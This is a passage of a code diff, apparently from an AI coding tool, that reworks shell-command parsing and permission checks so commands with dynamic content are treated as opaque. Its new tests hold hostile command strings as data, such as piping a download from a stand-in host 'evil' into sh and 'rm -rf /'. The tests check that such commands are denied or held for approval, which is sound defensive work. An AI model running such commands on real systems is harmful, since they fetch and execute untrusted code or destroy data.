-          { commands: [] as Array<{ resource: string; save: string }>, directories: [] as string[] },
-        ),
-      ),
-    (tree) => Effect.sync(() => tree.delete()),
-  )
+  return scanCommands(command, cwd, shell, ShellSelect.ps(shell))
 })
 
-function parts(node: Node) {
-  return Array.from({ length: node.childCount }).flatMap((_, index): Part[] => {
-    const child = node.child(index)
-    if (!child) return []
-    if (child.type === "command_elements")
-      return Array.from({ length: child.childCount }).flatMap((_, itemIndex): Part[] => {
-        const item = child.child(itemIndex)
-        if (!item || item.type === "command_argument_sep" || item.type === "redirection") return []
-        return [{ type: item.type, text: item.text }]
-      })
-    if (!["command_name", "command_name_expr", "word", "string", "raw_string", "concatenation"].includes(child.type))
-      return []
-    return [{ type: child.type, text: child.text }]
-  })
+function scanCommands(command: string, cwd: string, shell: string, powershell: boolean) {
+  const result = powershell ? ShellScan.scanPowerShell(command) : ShellScan.scan(command)
+  if (result.kind === "opaque")
+    return {
+      commands: [{ resource: command }],
+      directories: [],
+      opaque: true,
+      directoryUnknown: true,
+    }
+  if (
+    result.commands.some((item) => {
+      const name = powershell ? item.words[0]?.toLowerCase() : item.words[0]
+      if (!name || !CWD.has(name) || name === "popd" || name === "pop-location") return false
+      return directoryArgs(item.words, powershell, cwd, shell).length === 0
+    })
+  )
+    return { commands: [{ resource: command }], directories: [], opaque: true, directoryUnknown: true }
+  return result.commands.reduce(
+    (output, item) => {
+      const name = powershell ? item.words[0]?.toLowerCase() : item.words[0]
+      if (!name) return output
+      if (CWD.has(name)) {
+        output.directories.push(...directoryArgs(item.words, powershell, cwd, shell))
+        return output
+      }
+      output.commands.push({ resource: item.resource, save: `${prefix(item.words).join(" ")} *` })
+      return output
+    },
+    {
+      commands: [] as Array<{ resource: string; save: string }>,
+      directories: [] as string[],
+      opaque: false,
+    },
+  )
 }
 
-function directoryArgs(command: Part[], powershell: boolean, cwd: string, shell: string) {
-  if (!powershell)
-    return command
+function directoryArgs(command: string[], powershell: boolean, cwd: string, shell: string) {
+  if (!powershell) {
+    const values = command
       .slice(1)
-      .filter((part) => !part.text.startsWith("-"))
-      .map((part) => directoryArgument(part.text, powershell, cwd, shell))
+      .filter((part) => !part.startsWith("-"))
+      .map((part) => directoryArgument(part, powershell, cwd, shell))
       .filter((part) => part !== undefined)
+    if (command[0] === "cd" && (values.length !== 1 || (!path.isAbsolute(values[0]) && Boolean(process.env.CDPATH))))
+      return []
+    return values
+  }
 
   const directories: string[] = []
-  let path = false
+  let expectsPath = false
   for (const part of command.slice(1)) {
-    if (path) {
-      const value = directoryArgument(part.text, powershell, cwd, shell)
+    if (expectsPath) {
+      const value = directoryArgument(part, powershell, cwd, shell)
       if (value) directories.push(value)
-      path = false
+      expectsPath = false
       continue
     }
-    if (part.type === "command_parameter") {
-      path = POWERSHELL_PATH_FLAGS.has(part.text.toLowerCase())
+    if (part.startsWith("-")) {
+      expectsPath = POWERSHELL_PATH_FLAGS.has(part.toLowerCase())
       continue
     }
-    const value = directoryArgument(part.text, powershell, cwd, shell)
+    const value = directoryArgument(part, powershell, cwd, shell)
     if (value) directories.push(value)
   }
   return directories
@@ -253,6 +244,7 @@ function expandKnownDirectory(value: string) {
   if (value.includes("$") || value.includes("`") || value.startsWith("(")) return
   if (value === "~") return os.homedir()
   if (value.startsWith("~/") || value.startsWith("~\\")) return path.join(os.homedir(), value.slice(2))
+  if (value.startsWith("~")) return
   return value
 }
 
@@ -269,28 +261,3 @@ function prefix(tokens: string[]) {
   }
   return tokens.slice(0, 1)
 }
-
-function resolve(asset: string) {
-  if (asset.startsWith("file://")) return fileURLToPath(asset)
-  if (path.isAbsolute(asset)) return asset
-  return fileURLToPath(new URL(asset, import.meta.url))
-}
-
-const load = (() => {
-  let loading: ReturnType<typeof initialize> | undefined
-  return () => (loading ??= initialize())
-})()
-
-async function initialize() {
-  const { Parser, Language } = await import("web-tree-sitter")
-  await Parser.init({ locateFile: () => resolve(shellParserWasm.runtime) })
-  const [bashLanguage, psLanguage] = await Promise.all([
-    Language.load(resolve(shellParserWasm.bash)),
-    Language.load(resolve(shellParserWasm.powershell)),
-  ])
-  const bash = new Parser()
-  bash.setLanguage(bashLanguage)
-  const ps = new Parser()
-  ps.setLanguage(psLanguage)
-  return { bash, ps }
-}

packages/core/src/shell/parser-wasm.bun.ts

@@ -1,8 +0,0 @@
-// @ts-ignore Bun embeds static file imports when compiling the CLI.
-import runtime from "web-tree-sitter/tree-sitter.wasm" with { type: "file" }
-// @ts-ignore Bun embeds static file imports when compiling the CLI.
-import bash from "tree-sitter-bash/tree-sitter-bash.wasm" with { type: "file" }
-// @ts-ignore Bun embeds static file imports when compiling the CLI.
-import powershell from "tree-sitter-powershell/tree-sitter-powershell.wasm" with { type: "file" }
-
-export const shellParserWasm = { runtime, bash, powershell }

packages/core/src/shell/parser-wasm.node.ts

@@ -1,11 +0,0 @@
-import { createRequire } from "node:module"
-
-const require = createRequire(import.meta.url)
-
-export const shellParserWasm = {
-  runtime: process.env.OPENCODE_TREE_SITTER_WASM_PATH ?? require.resolve("web-tree-sitter/tree-sitter.wasm"),
-  bash: process.env.OPENCODE_TREE_SITTER_BASH_WASM_PATH ?? require.resolve("tree-sitter-bash/tree-sitter-bash.wasm"),
-  powershell:
-    process.env.OPENCODE_TREE_SITTER_POWERSHELL_WASM_PATH ??
-    require.resolve("tree-sitter-powershell/tree-sitter-powershell.wasm"),
-}

packages/core/src/shell/parser-wasm.workerd.ts

@@ -1,4 +0,0 @@
-// workerd has no filesystem paths to tree-sitter wasm artifacts. ShellParse
-// loads these lazily and degrades when initialization fails, so empty paths
-// keep module load side-effect free instead of resolving from disk.
-export const shellParserWasm = { runtime: "", bash: "", powershell: "" }

packages/core/src/tool/plugin/shell.ts

@@ -183,11 +183,23 @@ export const Plugin = {
                           agent: context.agent,
                           source,
                         })
+                      if ("directoryUnknown" in parsed && parsed.directoryUnknown)
+                        yield* permission.assert({
+                          action: "external_directory",
+                          resources: ["*"],
+                          opaque: true,
+                          sessionID: context.sessionID,
+                          agent: context.agent,
+                          source,
+                        })
                       if (parsed.commands.length > 0)
                         yield* permission.assert({
                           action: name,
                           resources: parsed.commands.map((command) => command.resource),
-                          save: parsed.commands.map((command) => command.save),
+                          save: parsed.opaque
+                            ? undefined
+                            : parsed.commands.flatMap((command) => ("save" in command ? [command.save] : [])),
+                          opaque: parsed.opaque,
                           sessionID: context.sessionID,
                           agent: context.agent,
                           source,

packages/core/test/permission.test.ts

@@ -112,28 +112,11 @@ describe("Permission", () => {
     }),
   )
 
-  it.effect("proves only unconditional configured allows", () =>
+  it.effect("denies empty resource requests", () =>
     Effect.gen(function* () {
+      yield* setup([{ action: "*", resource: "*", effect: "allow" }])
       const service = yield* Permission.Service
-      const input = { sessionID: Session.ID.make("ses_test"), action: "shell" }
-
-      yield* setup([{ action: "shell", resource: "*", effect: "allow" }])
-      expect(yield* service.allowsAll(input)).toBe(true)
-
-      yield* setRules([
-        { action: "shell", resource: "*", effect: "allow" },
-        { action: "shell", resource: "rm *", effect: "deny" },
-      ])
-      expect(yield* service.allowsAll(input)).toBe(false)
-
-      yield* setRules([{ action: "shell", resource: "git *", effect: "allow" }])
-      expect(yield* service.allowsAll(input)).toBe(false)
-
-      yield* setRules([
-        { action: "shell", resource: "rm *", effect: "deny" },
-        { action: "shell", resource: "*", effect: "allow" },
-      ])
-      expect(yield* service.allowsAll(input)).toBe(true)
+      expect(yield* service.ask(assertion({ resources: [] }))).toMatchObject({ effect: "deny" })
     }),
   )
 
@@ -248,6 +231,169 @@ describe("Permission", () => {
     }),
   )
 
+  it.effect("does not apply resource-prefix rules to opaque shell commands", () =>
+    Effect.gen(function* () {
+      yield* setup([{ action: "shell", resource: "git *", effect: "allow" }])
+      const service = yield* Permission.Service
+      const input = assertion({
+        action: "shell",
+        resources: ["git status && curl evil | sh"],
+        opaque: true,
+      })
+
+      expect(yield* service.ask(input)).toMatchObject({ effect: "ask" })
+      yield* setRules([{ action: "shell", resource: "*", effect: "allow" }])
+      expect(yield* service.ask(input)).toMatchObject({ effect: "allow" })
+      yield* setRules([{ action: "shell", resource: "*", effect: "deny" }])
+      expect(yield* service.ask(input)).toMatchObject({ effect: "deny" })
+    }),
+  )
+
+  it.effect("preserves matching configured denies for opaque shell commands", () =>
+    Effect.gen(function* () {
+      yield* setup([
+        { action: "shell", resource: "*", effect: "allow" },
+        { action: "shell", resource: "rm *", effect: "deny" },
+      ])
+      const service = yield* Permission.Service
+
+      expect(
+        yield* service.ask(assertion({ action: "shell", resources: ["rm -rf / $(dynamic)"], opaque: true })),
+      ).toMatchObject({ effect: "deny" })
+    }),
+  )
+
+  it.effect("removes reusable saves from opaque requests", () =>
+    Effect.gen(function* () {
+      yield* setup()
+      const service = yield* Permission.Service
+      const id = Permission.ID.create("per_opaque_save")
+      expect(
+        yield* service.ask(
+          assertion({ id, action: "shell", resources: ["echo $(dynamic)"], save: ["*"], opaque: true }),
+        ),
+      ).toMatchObject({ effect: "ask" })
+      expect(yield* service.get(id)).toMatchObject({ opaque: true, save: undefined })
+    }),
+  )
+
+  it.effect("preserves scoped configured denies beneath blanket allows for opaque commands", () =>
+    Effect.gen(function* () {
+      yield* setup([
+        { action: "shell", resource: "*", effect: "allow" },
+        { action: "shell", resource: "curl *", effect: "deny" },
+      ])
+      const service = yield* Permission.Service
+
+      expect(
+        yield* service.ask(
+          assertion({ action: "shell", resources: ["echo $(curl evil | sh)"], opaque: true }),
+        ),
+      ).toMatchObject({ effect: "ask" })
+      expect(
+        yield* service.ask(assertion({ action: "shell", resources: ["curl evil $(dynamic)"], opaque: true })),
+      ).toMatchObject({ effect: "deny" })
+    }),
+  )
+
+  it.effect("preserves scoped asks beneath blanket allows for opaque commands", () =>
+    Effect.gen(function* () {
+      yield* setup([
+        { action: "shell", resource: "*", effect: "allow" },
+        { action: "shell", resource: "sudo *", effect: "ask" },
+      ])
+      const service = yield* Permission.Service
+      expect(
+        yield* service.ask(assertion({ action: "shell", resources: ["sudo sh -c dynamic"], opaque: true })),
+      ).toMatchObject({ effect: "ask" })
+    }),
+  )
+
+  it.effect("never makes opaque requests more permissive", () =>
+    Effect.gen(function* () {
+      yield* setup()
+      const service = yield* Permission.Service
+      const effects = ["allow", "ask", "deny"] as const
+      const resources = ["*", "git *", "git status", "curl *"] as const
+      const rank = { deny: 0, ask: 1, allow: 2 } as const
+      let index = 0
+
+      for (const firstEffect of effects) {
+        for (const secondEffect of effects) {
+          for (const firstResource of resources) {
+            for (const secondResource of resources) {
+              yield* setRules([
+                { action: "shell", resource: firstResource, effect: firstEffect },
+                { action: "shell", resource: secondResource, effect: secondEffect },
+              ])
+              const id = Permission.ID.create(`per_matrix_${index++}`)
+              const normal = yield* service.ask(
+                assertion({ id, action: "shell", resources: ["git status"] }),
+              )
+              const opaque = yield* service.ask(
+                assertion({ id: Permission.ID.create(`per_matrix_${index++}`), action: "shell", resources: ["git status"], opaque: true }),
+              )
+              expect(rank[opaque.effect]).toBeLessThanOrEqual(rank[normal.effect])
+              if (normal.effect === "ask") yield* service.reply({ requestID: normal.id, reply: "once" })
+              if (opaque.effect === "ask") yield* service.reply({ requestID: opaque.id, reply: "once" })
+            }
+          }
+        }
+      }
+      expect(yield* service.list()).toEqual([])
+    }),
+  )
+
+  it.effect("keeps configured scoped rules above saved approvals for opaque requests", () =>
+    Effect.gen(function* () {
+      yield* setup([{ action: "shell", resource: "git *", effect: "ask" }])
+      const saved = yield* PermissionSaved.Service
+      yield* saved.add({ projectID: Project.ID.global, action: "shell", resources: ["*"] })
+      const service = yield* Permission.Service
+
+      expect(
+        yield* service.ask(assertion({ action: "shell", resources: ["git status"], opaque: true })),
+      ).toMatchObject({ effect: "ask" })
+      yield* setRules([{ action: "shell", resource: "git *", effect: "deny" }])
+      expect(
+        yield* service.ask(
+          assertion({ id: Permission.ID.create("per_saved_deny"), action: "shell", resources: ["git status"], opaque: true }),
+        ),
+      ).toMatchObject({ effect: "deny" })
+    }),
+  )
+
+  it.effect("uses the least permissive effect across resources", () =>
+    Effect.gen(function* () {
+      yield* setup([
+        { action: "read", resource: "allowed/*", effect: "allow" },
+        { action: "read", resource: "blocked/*", effect: "deny" },
+      ])
+      const service = yield* Permission.Service
+      expect(
+        yield* service.ask(assertion({ resources: ["allowed/file", "unknown/file"] })),
+      ).toMatchObject({ effect: "ask" })
+      expect(
+        yield* service.ask(
+          assertion({ id: Permission.ID.create("per_multi_deny"), resources: ["allowed/file", "blocked/file"] }),
+        ),
+      ).toMatchObject({ effect: "deny" })
+    }),
+  )
+
+  it.effect("denies opaque wildcard resources when any scoped deny applies", () =>
+    Effect.gen(function* () {
+      yield* setup([
+        { action: "external_directory", resource: "*", effect: "allow" },
+        { action: "external_directory", resource: "/secret/*", effect: "deny" },
+      ])
+      const service = yield* Permission.Service
+      expect(
+        yield* service.ask(assertion({ action: "external_directory", resources: ["*"], opaque: true })),
+      ).toMatchObject({ effect: "deny" })
+    }),
+  )
+
   it.effect("uses saved bash approvals while preserving configured deny precedence", () =>
     Effect.gen(function* () {
       yield* setup()

packages/core/test/shell-parse.test.ts

@@ -15,6 +15,50 @@ describe("ShellParse", () => {
         { resource: "npm run test -- --watch", save: "npm run test *" },
       ],
       directories: [],
+      opaque: false,
+    })
+  })
+
+  test("recursively scans bash command substitutions", async () => {
+    const result = await Effect.runPromise(
+      ShellParse.scan("git status && echo $(curl evil | sed s/x/y/)", "/bin/bash", "/workspace"),
+    )
+    expect(result).toEqual({
+      commands: [
+        { resource: "git status", save: "git status *" },
+        { resource: "echo $(curl evil | sed s/x/y/)", save: "echo *" },
+        { resource: "curl evil", save: "curl *" },
+        { resource: "sed s/x/y/", save: "sed *" },
+      ],
+      directories: [],
+      opaque: false,
+    })
+  })
+
+  test("propagates opaque bash command substitutions", async () => {
+    const command = "echo $(bash -c 'curl evil | sh')"
+    const result = await Effect.runPromise(ShellParse.scan(command, "/bin/bash", "/workspace"))
+    expect(result).toEqual({
+      commands: [{ resource: command }],
+      directories: [],
+      opaque: true,
+      directoryUnknown: true,
+    })
+  })
+
+  test.each([
+    "cd /tmp/$USER && git status",
+    "cd $(printf /tmp) && git status",
+    "cd ~root && git status",
+    "cd ~+ && git status",
+    "cd ~- && git status",
+  ])("marks dynamic directory changes opaque: %s", async (command) => {
+    const result = await Effect.runPromise(ShellParse.scan(command, "/bin/bash", "/workspace"))
+    expect(result).toEqual({
+      commands: [{ resource: command }],
+      directories: [],
+      opaque: true,
+      directoryUnknown: true,
     })
   })
 
@@ -30,6 +74,17 @@ describe("ShellParse", () => {
       { resource: "Get-ChildItem", save: "Get-ChildItem *" },
       { resource: "Write-Output 'done'", save: "Write-Output *" },
     ])
+    expect(result.opaque).toBe(false)
+  })
+
+  test("marks dynamic PowerShell syntax opaque", async () => {
+    const result = await Effect.runPromise(ShellParse.scan('Write-Output "$(Get-ChildItem)"', "pwsh", "C:\\workspace"))
+    expect(result).toEqual({
+      commands: [{ resource: 'Write-Output "$(Get-ChildItem)"' }],
+      directories: [],
+      opaque: true,
+      directoryUnknown: true,
+    })
   })
 
   test("does not permission directory changes separately", async () => {
@@ -37,6 +92,7 @@ describe("ShellParse", () => {
     expect(result).toEqual({
       commands: [{ resource: "git status", save: "git status *" }],
       directories: ["src dir"],
+      opaque: false,
     })
   })
 

packages/core/test/tool-shell.test.ts

@@ -167,7 +167,9 @@ const call = (input: typeof ShellTool.Input.Type, id = "call-shell") => ({
 })
 
 const isWindows = process.platform === "win32"
-const cwdCommand = isWindows ? "(Get-Location).Path; Start-Sleep -Milliseconds 100" : "pwd"
+const cwdCommand = isWindows
+  ? "Get-Location | Select-Object -ExpandProperty Path; Start-Sleep -Milliseconds 100"
+  : "pwd"
 const helloCommand = isWindows ? "[Console]::Out.Write('hello'); Start-Sleep -Milliseconds 100" : "printf hello"
 const stderrCommand = isWindows
   ? "[Console]::Error.Write('stderr only'); Start-Sleep -Milliseconds 100"
@@ -443,7 +445,7 @@ describe("ShellTool", () => {
         ([active, outside]) => {
           reset()
           const command = isWindows
-            ? `Set-Location -LiteralPath '${outside.path}'; (Get-Location).Path`
+            ? `Set-Location -LiteralPath '${outside.path}'; Get-Location | Select-Object -ExpandProperty Path`
             : `cd '${outside.path}' && pwd`
           return withSession(active.path, (registry) =>
             executeTool(registry, call({ command }, "call-external-cd")),
@@ -471,7 +473,9 @@ describe("ShellTool", () => {
       Effect.promise(() => tmpdir()),
       (tmp) => {
         reset()
-        const command = isWindows ? "Set-Location $HOME; (Get-Location).Path" : "cd ~ && pwd"
+        const command = isWindows
+          ? "Set-Location $HOME; Get-Location | Select-Object -ExpandProperty Path"
+          : "cd ~ && pwd"
         return withSession(tmp.path, (registry) => executeTool(registry, call({ command }, "call-external-home"))).pipe(
           Effect.andThen(
             Effect.sync(() => {

packages/desktop/src/renderer/index.tsx

@@ -10,7 +10,6 @@ import {
   type Locale,
   type Platform,
   PlatformProvider,
-  preloadSessionRoute,
   createDraftStore,
   ServerConnection,
   useCommand,
@@ -444,9 +443,7 @@ render(() => {
     const api = window.api as typeof window.api & {
       getWindowID?: () => Promise<string>
     }
-    const id = await api.getWindowID?.()
-    if (/^\/server\/[^/]+\/session\/[^/]+/.test(getLastActiveUrl(id ?? "browser"))) await preloadSessionRoute()
-    return { id }
+    return { id: await api.getWindowID?.() }
   })
 
   return (

packages/enterprise/src/app.tsx

@@ -5,14 +5,7 @@ import { MetaProvider } from "@solidjs/meta"
 import { MarkedProvider } from "@opencode-ai/ui/context/marked"
 import { DialogProvider } from "@opencode-ai/ui/context/dialog"
 import { I18nProvider } from "@opencode-ai/ui/context"
-import {
-  pluralCategory,
-  pluralKey,
-  type UiI18nParams,
-  type UiI18nPluralKey,
-  type UiTranslate,
-  type UiPluralCategory,
-} from "@opencode-ai/ui/context/i18n"
+import { pluralCategory, pluralKey, type UiI18nParams, type UiI18nPluralKey } from "@opencode-ai/ui/context/i18n"
 import { dict as uiEn } from "@opencode-ai/ui/i18n/en"
 import { dict as uiZh } from "@opencode-ai/ui/i18n/zh"
 import { createEffect, createMemo, Suspense, type ParentProps } from "solid-js"
@@ -65,30 +58,20 @@ function detectLocale() {
 function UiI18nBridge(props: ParentProps) {
   const locale = createMemo(() => detectLocale())
   const zh = uiZh as Partial<Record<string, string>>
-  const translate = (key: keyof typeof uiEn, params?: UiI18nParams) => {
+  const t = (key: keyof typeof uiEn, params?: UiI18nParams) => {
     const value = locale() === "zh" ? (zh[key] ?? uiEn[key]) : uiEn[key]
     const text = value ?? String(key)
     return resolveTemplate(text, params)
   }
-  const t = translate as UiTranslate
-  const pluralForm = (key: UiI18nPluralKey, category: UiPluralCategory, params?: UiI18nParams) => {
-    const candidate = pluralKey(key, category)
-    const fallback = pluralKey(key, "other")
-    const value =
-      locale() === "zh"
-        ? (zh[candidate] ?? zh[fallback] ?? uiEn[candidate] ?? uiEn[fallback])
-        : (uiEn[candidate] ?? uiEn[fallback])
-    return resolveTemplate(value ?? fallback, params)
-  }
   const plural = (key: UiI18nPluralKey, count: number, params?: UiI18nParams) =>
-    pluralForm(key, pluralCategory(locale(), count), { ...params, count })
+    t(pluralKey(key, pluralCategory(locale(), count)), { ...params, count })
 
   createEffect(() => {
     if (typeof document !== "object") return
     document.documentElement.lang = locale()
   })
 
-  return <I18nProvider value={{ locale, t, plural, pluralForm }}>{props.children}</I18nProvider>
+  return <I18nProvider value={{ locale, t, plural }}>{props.children}</I18nProvider>
 }
 
 export default function App() {

packages/protocol/src/groups/permission.ts

@@ -4,7 +4,7 @@ import { Permission } from "@opencode-ai/schema/permission"
 import { PermissionSaved } from "@opencode-ai/schema/permission-saved"
 import { Project } from "@opencode-ai/schema/project"
 import { Session } from "@opencode-ai/schema/session"
-import { Context, Schema } from "effect"
+import { Context, Schema, Struct } from "effect"
 import { HttpApiEndpoint, HttpApiGroup, HttpApiMiddleware, HttpApiSchema, OpenApi } from "effect/unstable/httpapi"
 import { PermissionNotFoundError, SessionNotFoundError } from "../errors.js"
 import { LocationQuery, locationQueryOpenApi } from "./location.js"
@@ -64,11 +64,7 @@ export const makePermissionGroup = <
         params: { sessionID: Session.ID },
         payload: Schema.Struct({
           id: Permission.ID.pipe(Schema.optional),
-          action: Permission.Request.fields.action,
-          resources: Permission.Request.fields.resources,
-          save: Permission.Request.fields.save,
-          metadata: Permission.Request.fields.metadata,
-          source: Permission.Request.fields.source,
+          ...Struct.omit(Permission.Request.fields, ["id", "sessionID"]),
           agent: Agent.ID.pipe(Schema.optional),
         }),
         success: Schema.Struct({

packages/schema/src/permission.ts

@@ -27,6 +27,7 @@ const RequestFields = {
   action: Schema.String,
   resources: Schema.Array(Schema.String),
   save: Schema.Array(Schema.String).pipe(optional),
+  opaque: Schema.Boolean.pipe(optional),
   metadata: Schema.Record(Schema.String, Schema.Unknown).pipe(optional),
   source: Source.pipe(optional),
 }

packages/server/src/handlers/permission.ts

@@ -33,6 +33,7 @@ export const PermissionHandler = HttpApiBuilder.group(Api, "server.permission",
                 action: ctx.payload.action,
                 resources: ctx.payload.resources,
                 save: ctx.payload.save,
+                opaque: ctx.payload.opaque,
                 metadata: ctx.payload.metadata,
                 source: ctx.payload.source,
                 agent: ctx.payload.agent,

packages/session-ui/AGENTS.md

@@ -1,8 +1,6 @@
 ## Localization
 
 - NEVER hardcode user-visible English strings in production code. ALWAYS use an i18n key for visible copy, placeholders, accessible labels, tooltips, menus, dialogs, empty states, and displayed errors.
-- Feature work adds English source strings only. Leave non-English keys absent so the runtime English fallback applies; translations land separately after language review.
-- Render count-sensitive copy through `i18n.plural(baseKey, count, params)`. Never select or pass `.zero`, `.one`, `.two`, `.few`, `.many`, or `.other` variants to `i18n.t(...)`; `pluralForm(...)` is reserved for components that animate individual grammatical forms.
 - When migrating existing copy to i18n, preserve the English text byte-for-byte unless the task explicitly requests a copy change.
 - NEVER change existing English text or English keys to facilitate translation. English is intentional, designer-written source copy; adapt locale-specific translations and i18n mechanics around it.
 - Do not translate from model knowledge alone. Verify terminology and grammar with Unicode CLDR locale/plural data, Microsoft Localization Style Guides and terminology, Apple localization/style guidance and localized platform UI, Mozilla localization style guides, Mozilla Pontoon, and the Firefox localization corpus at `github.com/mozilla-l10n/firefox-l10n`.

packages/session-ui/src/components/markdown-stream.test.ts

@@ -158,12 +158,6 @@ describe("markdown stream", () => {
     expect(final.blocks[2]).toEqual({ raw: "- final item", src: "- final item", mode: "full" })
   })
 
-  test("splits completed markdown into bounded top-level blocks", () => {
-    const result = project(undefined, "# Plan\n\nFirst paragraph.\n\nSecond paragraph.", false)
-
-    expect(result.blocks.map((block) => block.raw)).toEqual(["# Plan", "First paragraph.", "Second paragraph."])
-  })
-
   test("catches up paced text before finalizing", () => {
     const live = project(undefined, "# Plan\n\nFinished paragraph.\n\n- final", true)
     const final = project(live, `${live.text} item`, false)

packages/session-ui/src/components/markdown-stream.ts

@@ -51,7 +51,7 @@ function heal(text: string) {
 }
 
 export function stream(text: string, live: boolean): Block[] {
-  if (!live) return completedBlocks(text)
+  if (!live) return completedProjection(text).blocks
   if (refs(text)) return [{ raw: text, src: heal(text), mode: "live" }] satisfies Block[]
   const tokens = marked.lexer(text)
   const tail = tokens.findLastIndex((token) => token.type !== "space")
@@ -85,17 +85,6 @@ export function stream(text: string, live: boolean): Block[] {
   return [...result, { raw, src: openCode(code.raw), mode: "code", language: language(code.lang) }]
 }
 
-function completedBlocks(text: string) {
-  if (refs(text)) return completedProjection(text).blocks
-  const tokens = marked.lexer(text)
-  return tokens.flatMap((token): Block[] => {
-    if (token.type === "space") return []
-    if (token.type !== "code") return [{ raw: token.raw, src: token.raw, mode: "full" }]
-    const code = token as Tokens.Code
-    return [{ raw: code.raw, src: code.text, mode: "code", language: language(code.lang), complete: true }]
-  })
-}
-
 export function project(previous: Projection | undefined, text: string, live: boolean): Projection {
   if (!live) {
     const current =
@@ -104,7 +93,7 @@ export function project(previous: Projection | undefined, text: string, live: bo
         : previous && text.startsWith(previous.text)
           ? project(previous, text, true)
           : undefined
-    if (!current) return { text, blocks: completedBlocks(text) }
+    if (!current) return completedProjection(text)
     return {
       text,
       blocks: current.blocks.map((block) => {

packages/session-ui/src/components/markdown.tsx

@@ -490,8 +490,6 @@ export function Markdown(
   )
 
   let copyCleanup: (() => void) | undefined
-  let renderFrame: number | undefined
-  let renderGeneration = 0
 
   createEffect(() => {
     const container = root()
@@ -500,9 +498,6 @@ export function Markdown(
     const content = local.text ? pendingBlocks(result, projected, local.cacheKey, owner) : []
     if (!container) return
     if (isServer) return
-    const generation = ++renderGeneration
-    if (renderFrame !== undefined) cancelAnimationFrame(renderFrame)
-    renderFrame = undefined
     if (content.length === 0) {
       disposeCopyButtons(container)
       container.innerHTML = ""
@@ -519,40 +514,24 @@ export function Markdown(
     })
     activeCodeKeys.clear()
     nextCodeKeys.forEach((key) => activeCodeKeys.add(key))
-    let index = 0
-    const update = () => {
-      renderFrame = undefined
-      if (generation !== renderGeneration) return
-      const deadline = performance.now() + 8
-      while (index < content.length && performance.now() < deadline) {
-        updateBlock(container, index, content[index]!, labels)
-        index += 1
-      }
-      if (index < content.length) {
-        renderFrame = requestAnimationFrame(update)
-        return
-      }
-      while (container.children.length > content.length) {
-        const child = container.lastElementChild
-        if (!child) break
-        disposeCopyButtons(child)
-        child.remove()
-      }
-      container
-        .querySelectorAll<HTMLElement>('[data-slot="markdown-copy-button"]')
-        .forEach((button) => setCopyState(button, labels, button.dataset.copied === "true"))
-      if (!copyCleanup)
-        copyCleanup = setupCodeCopy(container, () => ({
-          copy: i18n.t("ui.message.copy"),
-          copied: i18n.t("ui.message.copied"),
-        }))
+    content.forEach((block, index) => updateBlock(container, index, block, labels))
+    while (container.children.length > content.length) {
+      const child = container.lastElementChild
+      if (!child) break
+      disposeCopyButtons(child)
+      child.remove()
     }
-    update()
+    container
+      .querySelectorAll<HTMLElement>('[data-slot="markdown-copy-button"]')
+      .forEach((button) => setCopyState(button, labels, button.dataset.copied === "true"))
+    if (!copyCleanup)
+      copyCleanup = setupCodeCopy(container, () => ({
+        copy: i18n.t("ui.message.copy"),
+        copied: i18n.t("ui.message.copied"),
+      }))
   })
 
   onCleanup(() => {
-    renderGeneration += 1
-    if (renderFrame !== undefined) cancelAnimationFrame(renderFrame)
     if (copyCleanup) copyCleanup()
     disposeMarkdownProjection(owner)
     activeCodeKeys.forEach(disposeCode)

packages/session-ui/src/components/message-part.css

@@ -1382,11 +1382,6 @@ body[data-new-layout] [data-component="user-message"] {
   background: var(--v2-background-bg-layer-02);
 }
 
-body[data-new-layout] [data-workspace-session] [data-component="user-message"] [data-slot="user-message-text"] {
-  background: var(--v2-background-bg-accent);
-  color: var(--v2-text-text-contrast);
-}
-
 body:not([data-new-layout]) {
   [data-component="user-message"] {
     color: var(--text-strong);

packages/session-ui/src/components/message-part.tsx

@@ -550,7 +550,7 @@ export function getToolInfo(
         icon: "code-lines",
         title: i18n.t("ui.tool.patch"),
         subtitle: input.files?.length
-          ? `${input.files.length} ${i18n.plural("ui.common.file", input.files.length)}`
+          ? `${input.files.length} ${i18n.t(input.files.length > 1 ? "ui.common.file.other" : "ui.common.file.one")}`
           : undefined,
       }
     case "todowrite":
@@ -2344,7 +2344,7 @@ ToolRegistry.register({
     const subtitle = createMemo(() => {
       const count = files().length
       if (count === 0) return ""
-      return `${count} ${i18n.plural("ui.common.file", count)}`
+      return `${count} ${i18n.t(count > 1 ? "ui.common.file.other" : "ui.common.file.one")}`
     })
 
     return (
@@ -2585,7 +2585,7 @@ ToolRegistry.register({
       const count = questions().length
       if (count === 0) return ""
       if (completed()) return i18n.t("ui.question.subtitle.answered", { count })
-      return `${count} ${i18n.plural("ui.common.question", count)}`
+      return `${count} ${i18n.t(count > 1 ? "ui.common.question.other" : "ui.common.question.one")}`
     })
 
     return (

packages/session-ui/src/components/tool-count-label.tsx

@@ -27,11 +27,9 @@ function common(one: string, other: string) {
 export function AnimatedCountLabel(props: { count: number; plural: UiI18nPluralKey; class?: string }) {
   const i18n = useI18n()
   const category = createMemo(() => pluralCategory(i18n.locale(), Math.round(props.count)))
-  const form = (category: ReturnType<typeof pluralCategory>) =>
-    i18n.pluralForm?.(props.plural, category) ?? (i18n.t as (key: string) => string)(pluralKey(props.plural, category))
-  const one = createMemo(() => split(form("one")))
-  const other = createMemo(() => split(form("other")))
-  const active = createMemo(() => split(form(category())))
+  const one = createMemo(() => split(i18n.t(pluralKey(props.plural, "one"))))
+  const other = createMemo(() => split(i18n.t(pluralKey(props.plural, "other"))))
+  const active = createMemo(() => split(i18n.t(pluralKey(props.plural, category()))))
   const suffix = createMemo(() => common(one().after, other().after))
   const splitSuffix = createMemo(
     () =>

packages/session-ui/src/pierre/worker.ts

@@ -24,7 +24,7 @@ function createPool(lineDiffType: "none" | "word-alt") {
     {
       theme: "OpenCode",
       lineDiffType,
-      preferredHighlighter: "shiki-js",
+      preferredHighlighter: "shiki-wasm",
     },
   )
 

packages/session-ui/src/v2/components/prompt-input/index.tsx

@@ -36,7 +36,6 @@ export type PromptInputV2Mode = "normal" | "shell"
 
 export type PromptInputV2Props = {
   controller: PromptInputV2Interaction
-  accentSubmit?: boolean
   disabled?: boolean
   readOnly?: boolean
   borderUnderlay?: boolean
@@ -53,11 +52,9 @@ export function PromptInputV2(props: PromptInputV2Props) {
   const view = props.controller.view
   let editor: HTMLDivElement | undefined
   let localInput = false
-  const updateCursor = (event: KeyboardEvent | PointerEvent) => {
+  const updateCursor = () => {
     if (!editor || !window.getSelection()?.isCollapsed) return
-    if (event instanceof KeyboardEvent && !["ArrowLeft", "ArrowRight", "ArrowUp", "ArrowDown", "Home", "End"].includes(event.key))
-      return
